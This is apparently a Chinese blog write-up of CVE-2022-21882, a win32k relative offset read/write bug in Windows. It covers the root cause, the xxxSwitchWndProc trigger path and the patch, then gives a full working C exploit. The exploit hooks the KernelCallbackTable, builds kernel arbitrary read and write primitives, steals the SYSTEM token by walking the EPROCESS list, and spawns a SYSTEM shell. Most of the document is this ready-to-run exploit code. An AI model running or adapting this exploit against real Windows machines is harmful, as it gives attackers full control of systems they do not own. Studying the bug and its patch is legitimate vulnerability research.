CVE-2022-21882 ：win32k 中的相对偏移读写漏洞

漏洞成因

漏洞起源于 CVE-2021-1732 ，原因就是 xxxClientAllocWindowClassExtraBytes 可以被 hook 导致返回的 pExtraBytes 受用户所控，在此期间如果调用 NtUserConsoleControl 则会将 pExtraBytes 的解释方式改变为内核态的相对偏移，进而造成内核的越界写。而微软在 2022 年 1 月又 patch 另外几个相似的地方，也就是触发 xxxClientAllocWindowClassExtraBytes 函数的别的路径。所以这几个漏洞和 CVE-2021-1732 十分相似，本漏洞介绍的便是 xxxSwitchWndProc 路径。相关的知识不再介绍，可以看之间的博文 。

漏洞利用

xxxSwitchWndProc

xxxSwitchWndProc 路径如何触发有很多方法，例如 CVE-2019-1458 的方法或者使用未公开的 NtUserMessageCall 方法，如下所示：

__int64 __fastcall NtUserMessageCall(HWND hWnd, unsigned int msg, WPARAM wParam, LPARAM lParam, __int64 *ResultInfo, DWORD dwType, bool bAnsi)
{

  refMsg = msg;
  EnterCrit(0i64, 1i64);
  if ( (((unsigned __int64)hWnd + 1) & 0xFFFFFFFFFFFEFFFFui64) != 0 || dwType - 0x2B7 > 1 )
  {
    pTagWND = ValidateHwnd(hWnd);
    if ( !pTagWND )
    {
      goto end;
    }
    ...
  }
  ...
  if ( (refMsg & 0xFFFE0000) != 0 )
  {  
		// error 
  }
  else
  {
    if ( refMsg >= 0x400 )
    {
      ...
    }
    else                                        // here
    {
      _mm_lfence();
      ret = ((__int64 (__fastcall *)(__int64, _QWORD, WPARAM, LPARAM, __int64 *, DWORD, bool))gapfnMessageCall[(unsigned __int8)MessageTable[refMsg]])( // NtUserfnINLPCREATESTRUCT
              pTagWND,
              (unsigned int)refMsg,
              wParam,
              lParam,
              ResultInfo,
              dwType,
              bAnsi);
    }
    ...
  }
  if ( pTagWND != -1 )
    ThreadUnlock1();
end:
  UserSessionSwitchLeaveCrit();
  return ret;
}

MessageTable[refMsg] 为 2 ，gapfnMessageCall[2] 便是 NtUserfnINLPCREATESTRUCT 方法：

__int64 __fastcall NtUserfnINLPCREATESTRUCT(struct tagWND *pTagWND, unsigned int msg, WPARAM wParam, LPARAM lParam, __int64 *ResultInfo, DWORD dwType, bool bAnsi)
{
  ...
	memset(arr, 0, sizeof(arr));
  ret = 0i64;
  if ( !lParam )
  {
    if ( msg == 129 )
      return ret;
    return ((__int64 (__fastcall *)(__int64, _QWORD, WPARAM, unsigned __int64, __int64 *))mpFnidPfn[((_BYTE)dwType + 6) & 0x1F])( // xxxWrapSwitchWndProc
             pTagWND,
             msg,
             wParam,
             (unsigned __int64)arr & -(__int64)(lParam != 0),
             ResultInfo);
		}
		...
  }

mpFnidPfn 在 InitFunctionTables 中初始化，当传入的 dwType 为 0 时，会使用 mpFnidPfn[6] ：

mpFnidPfn[6] = (__int64)xxxWrapSwitchWndProc;

接着走到 xxxWrapSwitchWndProc 方法：

__int64 __fastcall xxxWrapSwitchWndProc(struct tagWND *pTagWND, unsigned int msg, WPARAM wParam, __int64 arr)
{
  __int64 result; // rax

  if ( (unsigned int)CheckProcessIdentity(pTagWND, msg, wParam, arr) )
    result = xxxSwitchWndProc(pTagWND, msg, wParam, arr);
  else
    result = 0i64;
  return result;
}

其中主要检查 pTagWND 等参数的合法性，随后会走到 xxxSwitchWndProc ，和 CVE-2021-1732 中的 xxxCreateWindowEx 方法类似，如果有 cbwndExtra 则会使用 xxxClientAllocWindowClassExtraBytes 分配额外空间，这里不再赘述。

总而言之，使用如下代码即可触发：

NtUserMessageCall(hWnd, WM_CREATE, 0, 0, 0, 0, 0);

xxxClientFreeWindowClassExtraBytes

在触发漏洞的时候会使用 xxxClientFreeWindowClassExtraBytes 去 free 掉 ExtraBytes ，则会导致 BSOD 。所以我们需要 hook 一下 xxxClientFreeWindowClassExtraBytes ：

typedef ULONG64(WINAPI* PxxxClientAllocWindowClassExtraBytes)(PULONG64 pSize);
typedef ULONG64(WINAPI* PxxxClientFreeWindowClassExtraBytes)(PVOID *pInfo);

PxxxClientAllocWindowClassExtraBytes xxxClientAllocWindowClassExtraBytes = NULL;
PxxxClientFreeWindowClassExtraBytes xxxClientFreeWindowClassExtraBytes = NULL;

NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(PULONG64 pSize) {
    if (*pSize == CB_WND_EXTRA_2) {
        gHasTrigger = TRUE;
        PULONG64 params[2] = { 0 };
        params[0] = (PULONG64)hWnd;
        params[1] = 0;

        NTSTATUS status = gNtUserConsoleControl(6, params, sizeof(params));
        if (!NT_SUCCESS(status)) {
            printf("[-] Failed to get NtUserConsoleControl : %llx\n", status);
            goto end;
        }

        PULONG64 result[3] = { 0 };
        result[0] = gFakeExtraBytes;
        return gNtCallbackReturn(result, sizeof(result), 0);
    }
end:
    return xxxClientAllocWindowClassExtraBytes(pSize);
}

NTSTATUS WINAPI MyxxxClientFreeWindowClassExtraBytes(PVOID *pInfo) {
    
    ULONG64 extra = *(ULONG64*)((PBYTE)(*pInfo) + CB_WND_EXTRA_OFFSET);
    if (extra == CB_WND_EXTRA_2) {
        return 1;
    }
    return xxxClientFreeWindowClassExtraBytes(pInfo);
}

void hookXxxClientAllocWindowClassExtraBytes() {
    DWORD dwOldProtect = 0;
    PLONG pKernelCallbackTable = (PLONG) * (PLONG*)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable
    if (xxxClientAllocWindowClassExtraBytes == NULL && xxxClientFreeWindowClassExtraBytes == NULL) {
        xxxClientAllocWindowClassExtraBytes = (PxxxClientAllocWindowClassExtraBytes) * (PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8);
        xxxClientFreeWindowClassExtraBytes = (PxxxClientFreeWindowClassExtraBytes) * (PLONG*)((PBYTE)pKernelCallbackTable + 0x3E0);
    }

    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8) = (PLONG)MyxxxClientAllocWindowClassExtraBytes;
    *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3E0) = (PLONG)MyxxxClientFreeWindowClassExtraBytes;
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect);
}

void unHookXxxClientAllocWindowClassExtraBytes() {
    DWORD dwOldProtect = 0;
    PLONG pKernelCallbackTable = (PLONG) * (PLONG*)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8) = (PLONG)xxxClientAllocWindowClassExtraBytes;
    *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3E0) = (PLONG)xxxClientFreeWindowClassExtraBytes;
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect);
}

偏移调整

在 tagWNDk2 触发漏洞更改 tagWNDk0 的 cbWndExtra 时，需要偏移再加上 0x10 ：

// set tagWNDk0->cbWndExtra
SetWindowLongPtr(hWnd, CB_WND_EXTRA_OFFSET + 0x10, 0xfffffff0);

获取 eprocess 的路径变为：

spMenu = *(pTagWND + 0xA8)
pTEB = *(*(spMenu + 0x50) + 0x10)
pEPROCESS = *(*pTEB + 0x1a0)

eprocess 的相关偏移也需要随版本变化（测试环境 21H2）

#define PROCESS_ID_OFFSET                   0x440
#define NEXT_EPROCESS_OFFSET                0x448
#define TOKEN_OFFSET                        0x4b8

最后效果

Patch分析

bindiff 可以看出触发的路径有 xxxSwitchWndProc, xxxTooltipWndProc, xxxMenuWindowProc, XXXSBWndProc, xxxDesktopWndProcWorker 几个地方：

通过新的函数 xxxValidateClassAndSize 来验证合法性，并在经过一定的检查后使用 xxxClientAllocWindowClassExtraBytes ：

在 xxxClientAllocWindowClassExtraBytes 中验证合法性：

该 Patch 十分合理，没有什么问题。

EXP

#include "framework.h"
#include "poc.h"
#include "stdio.h"
#include <windows.h>

#define NT_SUCCESS(status)                  (status == (NTSTATUS)0)
#define MAX_LOADSTRING                      100
#define CB_WND_EXTRA_1                      0x20
#define CB_WND_EXTRA_2                      0x1234
#define CLASS_NAME_1                        L"ClassName1"
#define CLASS_NAME_2                        L"ClassName2"
#define SPRAY_WND_SIZE                      0x30
#define CB_WND_EXTRA_OFFSET                 0xc8
#define FAKE_EXTRA_BYTES                    0xffffff00
#define WND_EXTRA_BYTES_OFFSET              0x128
#define TAG_WNDk_OFFSET                     0x8
#define FAKE_SP_MENU_SIZE                   0xa0
#define DW_EXSTYLE_OFFSET                   0x18
#define MODIFY_OFFSET_FLAG_OFFSET           0xE8
#define PROCESS_ID_OFFSET                   0x440
#define NEXT_EPROCESS_OFFSET                0x448
#define TOKEN_OFFSET                        0x4b8

#ifdef _WIN64
typedef ULONG64* (NTAPI* lHMValidateHandle)(HWND h, int type);
#else
typedef ULONG64* (__fastcall* lHMValidateHandle)(HWND h, int type);
#endif

typedef LONG NTSTATUS;
typedef ULONG64(WINAPI* PxxxClientAllocWindowClassExtraBytes)(PULONG64 pSize);
typedef ULONG64(WINAPI* PxxxClientFreeWindowClassExtraBytes)(PVOID *pInfo);
typedef NTSTATUS(WINAPI* PNtUserConsoleControl)(DWORD, PVOID, ULONG64);
typedef NTSTATUS(WINAPI* PNtCallbackReturn)(PVOID Result, ULONG64 ResultLength, NTSTATUS Status);
typedef NTSTATUS(WINAPI* PNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
typedef PVOID(WINAPI* FHMValidateHandle)(HANDLE h, BYTE byType);

PxxxClientAllocWindowClassExtraBytes xxxClientAllocWindowClassExtraBytes = NULL;
PxxxClientFreeWindowClassExtraBytes xxxClientFreeWindowClassExtraBytes = NULL;
PNtUserConsoleControl gNtUserConsoleControl = NULL;
PNtCallbackReturn gNtCallbackReturn = NULL;
PNtUserMessageCall gNtUserMessageCall = NULL;
lHMValidateHandle pHmValidateHandle = NULL;

HINSTANCE hInst;
WCHAR szTitle[MAX_LOADSTRING];

HWND hWnds[SPRAY_WND_SIZE] = { 0 };
PULONG64 pWnds[SPRAY_WND_SIZE] = { 0 };
HWND hWnd = NULL;
PULONG64 pWnd = NULL;

PULONG64 gFakeExtraBytes = 0;

PVOID gPFakeSpMenu = NULL;
PVOID gPFakeRgItems = NULL;
HWND arbHwd = NULL;
BOOL gHasTrigger = FALSE;

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

BOOL FindHMValidateHandle() {
    HMODULE hUser32 = LoadLibraryA("user32.dll");
    if (hUser32 == NULL) {
        printf("[-] Failed to load user32");
        return FALSE;
    }

    BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
    if (pIsMenu == NULL) {
        printf("[-] Failed to find location of exported function 'IsMenu' within user32.dll\n");
        return FALSE;
    }
    unsigned int uiHMValidateHandleOffset = 0;
    for (unsigned int i = 0; i < 0x1000; i++) {
        BYTE* test = pIsMenu + i;
        if (*test == 0xE8) {
            uiHMValidateHandleOffset = i + 1;
            break;
        }
    }
    if (uiHMValidateHandleOffset == 0) {
        printf("[-] Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
        return FALSE;
    }

    unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
    unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
    //The +11 is to skip the padding bytes as on Windows 10 these aren't nops
    pHmValidateHandle = (lHMValidateHandle)((ULONG64)hUser32 + offset + 11);
    return TRUE;
}

NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(PULONG64 pSize) {
    if (*pSize == CB_WND_EXTRA_2) {
        gHasTrigger = TRUE;
        PULONG64 params[2] = { 0 };
        params[0] = (PULONG64)hWnd;
        params[1] = 0;

        NTSTATUS status = gNtUserConsoleControl(6, params, sizeof(params));
        if (!NT_SUCCESS(status)) {
            printf("[-] Failed to get NtUserConsoleControl : %llx\n", status);
            goto end;
        }

        PULONG64 result[3] = { 0 };
        result[0] = gFakeExtraBytes;
        return gNtCallbackReturn(result, sizeof(result), 0);
    }
end:
    return xxxClientAllocWindowClassExtraBytes(pSize);
}

NTSTATUS WINAPI MyxxxClientFreeWindowClassExtraBytes(PVOID *pInfo) {
    
    ULONG64 extra = *(ULONG64*)((PBYTE)(*pInfo) + CB_WND_EXTRA_OFFSET);
    if (extra == CB_WND_EXTRA_2) {
        return 1;
    }
    return xxxClientFreeWindowClassExtraBytes(pInfo);
}

ULONG64 arbRead(HWND hwd, ULONG64 addr) {

    MENUBARINFO mbi = { 0 };
    mbi.cbSize = sizeof(MENUBARINFO);

    RECT rect = { 0 };
    GetWindowRect(hwd, &rect);

    *(ULONG64*)(gPFakeRgItems) = addr - 0x40;

    GetMenuBarInfo(hwd, -3, 1, &mbi);

    BYTE result[0x10] = { 0 };
    *(DWORD*)(result) = mbi.rcBar.left - rect.left;
    *(DWORD*)(result + 4) = mbi.rcBar.top - rect.top;
    *(DWORD*)(result + 8) = mbi.rcBar.right - mbi.rcBar.left;
    *(DWORD*)(result + 0xc) = mbi.rcBar.bottom - mbi.rcBar.top;

    return *(ULONG64*)result;
}

ULONG64 arbRead2(HWND hwd0, HWND hwd1, ULONG64 WNDk01Offset, ULONG64 addr) {

    SetWindowLongPtr(hwd0, WNDk01Offset + WND_EXTRA_BYTES_OFFSET, addr);
    ULONG64 result = GetWindowLongPtr(hwd1, 0);
    return result;
}

VOID arbWrite(HWND hwd0, HWND hwd1, ULONG64 WNDk01Offset, ULONG64 addr, ULONG64 value) {

    SetWindowLongPtr(hwd0, WNDk01Offset + WND_EXTRA_BYTES_OFFSET, addr);
    SetWindowLongPtr(hwd1, 0, value);
}

void hookXxxClientAllocWindowClassExtraBytes() {
    DWORD dwOldProtect = 0;
    PLONG pKernelCallbackTable = (PLONG) * (PLONG*)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable
    if (xxxClientAllocWindowClassExtraBytes == NULL && xxxClientFreeWindowClassExtraBytes == NULL) {
        xxxClientAllocWindowClassExtraBytes = (PxxxClientAllocWindowClassExtraBytes) * (PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8);
        xxxClientFreeWindowClassExtraBytes = (PxxxClientFreeWindowClassExtraBytes) * (PLONG*)((PBYTE)pKernelCallbackTable + 0x3E0);
    }

    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8) = (PLONG)MyxxxClientAllocWindowClassExtraBytes;
    *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3E0) = (PLONG)MyxxxClientFreeWindowClassExtraBytes;
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect);
}

void unHookXxxClientAllocWindowClassExtraBytes() {
    DWORD dwOldProtect = 0;
    PLONG pKernelCallbackTable = (PLONG) * (PLONG*)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8) = (PLONG)xxxClientAllocWindowClassExtraBytes;
    *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3E0) = (PLONG)xxxClientFreeWindowClassExtraBytes;
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect);
}

void spawn_shell() {

    PROCESS_INFORMATION pi;
    ZeroMemory(&pi, sizeof(pi));

    STARTUPINFOA si;
    ZeroMemory(&si, sizeof(si));

    printf("[>] shell!\n");

    CreateProcessA("C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        0,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi);
}

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPWSTR    lpCmdLine,
    _In_ int       nCmdShow)
{
    UNREFERENCED_PARAMETER(hPrevInstance);
    UNREFERENCED_PARAMETER(lpCmdLine);

    AllocConsole();
    FILE* tempFile = nullptr;
    freopen_s(&tempFile, "conin$", "r+t", stdin);
    freopen_s(&tempFile, "conout$", "w+t", stdout);

    gNtUserConsoleControl = (PNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");

    if (!gNtUserConsoleControl) {
        DWORD err = GetLastError();
        printf("[-] Failed to get NtUserConsoleControl : %llx\n", err);
        exit(-1);
    }

    gNtUserMessageCall = (PNtUserMessageCall)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserMessageCall");

    if (!gNtUserMessageCall) {
        DWORD err = GetLastError();
        printf("[-] Failed to get NtUserMessageCall : %llx\n", err);
        exit(-1);
    }

    gNtCallbackReturn = (PNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn");

    if (!gNtCallbackReturn) {
        DWORD err = GetLastError();
        printf("[-] Failed to get NtCallbackReturn : %llx\n", err);
        exit(-1);
    }
    
    BOOL bFound = FindHMValidateHandle();
    if (!bFound) {
        printf("[-] Failed to locate HmValidateHandle, exiting\n");
        exit(-1);
    }
    printf("[+] Found location of HMValidateHandle in user32.dll\n");
    
    LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);

    WNDCLASSEXW wcex = { 0 };

    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc = DefWindowProc;
    wcex.cbClsExtra = 0;
    wcex.cbWndExtra = CB_WND_EXTRA_1;
    wcex.hInstance = hInstance;
    wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_POC);
    wcex.lpszClassName = CLASS_NAME_1;
    RegisterClassExW(&wcex);

    wcex.cbWndExtra = CB_WND_EXTRA_2;
    wcex.lpszClassName = CLASS_NAME_2;
    RegisterClassExW(&wcex);

    ULONG64 WNDk0ExtraBytesOffset = 0;
    ULONG64 WNDk01Offset = 0;
    ULONG64 WNDk02Offset = 0;
    HMENU hMenu, hHelpMenu;
    
    for (int nTrys = 0; nTrys < 5; nTrys++) {
        for (int i = 0; i < SPRAY_WND_SIZE; i++) {
            hMenu = CreateMenu();
            hHelpMenu = CreateMenu();
            AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));
            AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"));

            HWND h = CreateWindowEx(NULL, CLASS_NAME_1, NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL);

            if (!h)
            {
                DWORD err = GetLastError();
                printf("[-] Failed to CreateWindowEx, error : %llx\n", err);
                exit(-1);
            }

            if (i == 0) {
                ULONG64 params[2] = { 0 };
                params[0] = (ULONG64)h;
                params[1] = 0;
                NTSTATUS status = gNtUserConsoleControl(6, params, sizeof(params));
            }
            hWnds[i] = h;
            pWnds[i] = (PULONG64)pHmValidateHandle(h, 1);

        }

        gFakeExtraBytes = *(PULONG64*)((PBYTE)(pWnds[0]) + TAG_WNDk_OFFSET);

        for (int i = 2; i < SPRAY_WND_SIZE; i++) {
            DestroyWindow(hWnds[i]);
        }

        WNDk0ExtraBytesOffset = *(ULONG64*)((PBYTE)(pWnds[0]) + WND_EXTRA_BYTES_OFFSET);

        ULONG64 WNDk1WndOffset = *(ULONG64*)((PBYTE)(pWnds[1]) + TAG_WNDk_OFFSET);
        WNDk01Offset = WNDk1WndOffset - WNDk0ExtraBytesOffset;

        printf("[+] Get WNDk01Offset : %llx\n", WNDk01Offset);
        if (WNDk1WndOffset < WNDk0ExtraBytesOffset) {
            printf("[-] The WNDk01Offset less than 0, try again!\n");
        }
        else {
            hWnd = CreateWindowEx(NULL, CLASS_NAME_2, NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);
            if (!hWnd)
            {
                DWORD err = GetLastError();
                printf("[-] Failed to CreateWindowEx, error : %llx\n", err);
            }

            pWnd = (PULONG64)pHmValidateHandle(hWnd, 1);

            ULONG64 WNDk2WndOffset = *(ULONG64*)((PBYTE)(pWnd) + TAG_WNDk_OFFSET);
            WNDk02Offset = WNDk2WndOffset - WNDk0ExtraBytesOffset;
            printf("[+] Get WNDk02Offset : %llx\n", WNDk02Offset);
            if (WNDk2WndOffset < WNDk0ExtraBytesOffset) {
                printf("[-] The WNDk02Offset less than 0, try again!\n");
                
            }
            else {
                hookXxxClientAllocWindowClassExtraBytes();
                NTSTATUS status = gNtUserMessageCall(hWnd, WM_CREATE, 0, 0, 0, 0, 0);
                if (!NT_SUCCESS(status)) {
                    printf("[-] Failed to get NtUserMessageCall : %llx\n", status);
                }
            }
        }

        if (gHasTrigger) {
            break;
        }

        unHookXxxClientAllocWindowClassExtraBytes();
        DestroyWindow(hWnds[0]);
        DestroyWindow(hWnds[1]);
        DestroyWindow(hWnd);

    }

    if (!gHasTrigger) {
        printf("[-] Failed to trigger!\n");
        exit(-1);
    }

    unHookXxxClientAllocWindowClassExtraBytes();

    // set tagWNDk0->cbWndExtra
    SetWindowLongPtr(hWnd, CB_WND_EXTRA_OFFSET + 0x10, 0xfffffff0);

    // get dwStyle 
    ULONG64 dwStyle = *(ULONG64*)((PBYTE)(pWnds[1]) + DW_EXSTYLE_OFFSET);
    dwStyle |= 0x4000000000000000L; // set WS_CHILD

    // set tagWNDk1->dwStyle
    SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);

    gPFakeSpMenu = VirtualAlloc(NULL, FAKE_SP_MENU_SIZE, MEM_COMMIT, PAGE_READWRITE);
    memset(gPFakeSpMenu, 0, FAKE_SP_MENU_SIZE);

    PVOID fakeUnknownChunk = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_READWRITE);
    memset(fakeUnknownChunk, 0, 0x200);

    gPFakeRgItems = VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE);
    memset(gPFakeRgItems, 0, 0x10);

    PVOID fakespMenuk = VirtualAlloc(NULL, 0x30, MEM_COMMIT, PAGE_READWRITE);
    memset(fakespMenuk, 0, 0x30);

    *(ULONG64*)((PBYTE)gPFakeSpMenu + 0x28) = (ULONG64)fakeUnknownChunk;
    *(ULONG64*)((PBYTE)fakeUnknownChunk + 0x2c) = 1;
    *(DWORD*)((PBYTE)gPFakeSpMenu + 0x40) = 1;
    *(DWORD*)((PBYTE)gPFakeSpMenu + 0x44) = 1;
    *(ULONG64*)((PBYTE)gPFakeSpMenu + 0x58) = (ULONG64)gPFakeRgItems;
    *(ULONG64*)(gPFakeRgItems) = 0xdeadbeef; // read addr
    *(ULONG64*)((PBYTE)gPFakeSpMenu + 0x98) = (ULONG64)fakespMenuk;
    *(ULONG64*)(fakespMenuk) = (ULONG64)gPFakeSpMenu;

    // set fakeSpMenu and get oldPMenu
    ULONG64 oldPMenu = SetWindowLongPtr(hWnds[1], GWLP_ID, (ULONG64)gPFakeSpMenu);

    printf("[+] Get oldPMenu : %llx\n", oldPMenu);
    
    dwStyle ^= 0x4000000000000000L; // dwStyle recover
    SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);

    ULONG64 originWNDExtraBytes = GetWindowLongPtr(hWnds[0], WNDk01Offset + WND_EXTRA_BYTES_OFFSET);

    ULONG64 eprocess = arbRead(hWnds[1], oldPMenu + 0x50);
    if (eprocess != 0) {
        eprocess = arbRead(hWnds[1], eprocess + 0x10);
        eprocess = arbRead(hWnds[1], eprocess + 0x1a0);
        eprocess = arbRead(hWnds[1], eprocess);
        printf("[+] Get eprocess : %llx\n", eprocess);
        ULONG64 beginEprocess = eprocess;
        ULONG64 processId = 0;
        ULONG64 nextEprocess = 0;
        ULONG64 dwPID = GetCurrentProcessId();
        ULONG64 currentEprocess = 0;

        while (1) {
            processId = arbRead(hWnds[1], eprocess + PROCESS_ID_OFFSET);
            if (processId == 4) {
                break;
            }

            nextEprocess = arbRead(hWnds[1], eprocess + NEXT_EPROCESS_OFFSET) - NEXT_EPROCESS_OFFSET;

            if (nextEprocess == beginEprocess) {
                break;
            }
            if (processId == dwPID) {
                currentEprocess = eprocess;
            }
            eprocess = nextEprocess;
        }
        ULONG64 systemToken = arbRead(hWnds[1], eprocess + TOKEN_OFFSET);

        printf("[+] Get systemToken : %llx\n", systemToken);

        ULONG64 writeAddr = currentEprocess + TOKEN_OFFSET;

        arbWrite(hWnds[0], hWnds[1], WNDk01Offset, writeAddr, systemToken);

        spawn_shell();
    }
    else {
        printf("[-] Failed to get eprocess\n");
    }

    printf("[+] Recover begin!\n");

    PVOID chunk = VirtualAlloc(NULL, CB_WND_EXTRA_2, MEM_COMMIT, PAGE_READWRITE);;

    SetWindowLongPtr(hWnds[0], WNDk02Offset + WND_EXTRA_BYTES_OFFSET, (ULONG64)chunk);

    ULONG64 dwFlags = *(ULONG64*)((PBYTE)(pWnds)+MODIFY_OFFSET_FLAG_OFFSET);
    dwFlags ^= 0x800;
    SetWindowLongPtr(hWnds[0], WNDk02Offset + MODIFY_OFFSET_FLAG_OFFSET, (ULONG64)chunk);

    dwStyle |= 0x4000000000000000L; // set WS_CHILD
    SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);

    SetWindowLongPtr(hWnds[1], GWLP_ID, (ULONG64)oldPMenu); // recover oldPMenu

    dwStyle ^= 0x4000000000000000L; // dwStyle recover
    SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);

    // recover pExtraBytes
    SetWindowLongPtr(hWnds[0], WNDk01Offset + WND_EXTRA_BYTES_OFFSET, originWNDExtraBytes);

    PULONG64 params[2] = { 0 };
    params[0] = (PULONG64)hWnd;
    params[1] = 0;

    DestroyMenu(hHelpMenu);
    DestroyMenu(hMenu);
    DestroyWindow(hWnds[0]);
    DestroyWindow(hWnds[1]);
    DestroyWindow(hWnd);

    VirtualFree(gPFakeSpMenu, 0, MEM_RELEASE);
    VirtualFree(fakeUnknownChunk, 0, MEM_RELEASE);
    VirtualFree(gPFakeRgItems, 0, MEM_RELEASE);
    VirtualFree(fakespMenuk, 0, MEM_RELEASE);
    VirtualFree(chunk, 0, MEM_RELEASE);

    printf("[+] Recover success!\n");
    
    system("pause");

}